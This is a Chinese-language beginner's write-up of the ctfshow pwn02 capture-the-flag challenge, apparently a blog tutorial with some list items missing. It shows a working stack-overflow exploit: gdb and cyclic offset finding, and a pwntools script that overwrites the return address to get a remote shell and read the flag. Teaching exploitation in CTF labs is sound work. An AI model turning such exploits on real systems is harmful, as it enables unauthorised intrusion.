第一次接触CTF pwn题的新手往往会遇到"环境配置"这个拦路虎。我自己刚开始时,光是装虚拟机就折腾了整整两天。这里分享一个最稳妥的方案:使用VirtualBox安装Ubuntu 18.04 LTS版本,这个环境对新手最友好,社区支持也最完善。
拿到题目第一步是获取挑战文件。以ctfshow pwn02为例:
nc pwn.challenge.ctf.show 28053这里有个细节要注意:每次Launch生成的nc地址都会变化,所以不要复制别人的连接命令。我刚开始就犯过这个错误,浪费了半天时间排查连接问题。
把stack文件拖进虚拟机后,我们需要进行三个关键检查:
bash复制file stack # 查看文件类型
checksec stack # 检查保护机制
sudo ./stack # 测试运行
第一个坑:记得加sudo!我第一次运行时看到"Permission denied"还以为是文件损坏了,结果只是权限问题。file命令会告诉我们这是32位还是64位程序,这直接决定了后续要用IDA32还是IDA64打开。
checksec的结果特别重要:
幸运的是pwn02这些保护都没开,属于最基础的栈溢出题目。如果看到"Not found"错误,可能是没安装checksec,用sudo apt install checksec解决。
用IDA打开stack文件后,新手很容易被反汇编代码吓到。我的经验是:
在pwn02中,我们很快会发现pwnme函数里的关键代码:
c复制char s[9]; // 只分配9字节空间
fgets(s, 50, stdin); // 却允许输入50字节
这就是典型的栈溢出漏洞。32位程序中,ebp到返回地址的偏移通常是4字节,所以9字节的缓冲区加上4字节的ebp,总共需要覆盖13字节才能触及返回地址。
光看静态分析还不够,需要用gdb验证:
bash复制gdb ./stack
run <<< $(cyclic 200)
当程序崩溃时,观察报错地址:
code复制Program received signal SIGSEGV, Segmentation fault.
0x61616165 in ?? ()
用cyclic定位:
bash复制cyclic -l aaae # 返回13
这就验证了我们之前的计算。有个细节:如果程序是64位的,这里应该用cyclic -l aaaeaaaf,因为64位返回地址是8字节。
找到偏移后,还需要一个跳转地址。在IDA中:
最终payload结构:
code复制[13字节填充] + [返回地址] + [可选参数]
用pwntools编写exp:
python复制from pwn import *
p = remote("pwn.challenge.ctf.show", 28053)
payload = b'A'*13 + p32(0x804850F)
p.sendline(payload)
p.interactive() # 获取交互式shell
这里python2和python3有个重要区别:python3需要加b前缀表示bytes类型,否则会报类型错误。我第一次写exp时就卡在这个问题上。
新手最容易遇到的几个坑:
记得拿到shell后先执行ls查看文件,再用cat flag获取flag。有时候flag可能在别的文件里,需要多尝试几个常见名字。
从这道基础题出发,建议按这个顺序继续学习:
每学一种新类型,都建议先在本地用docker搭建对应环境练习。ctfshow的pwn题库就是很好的学习路径,难度循序渐进。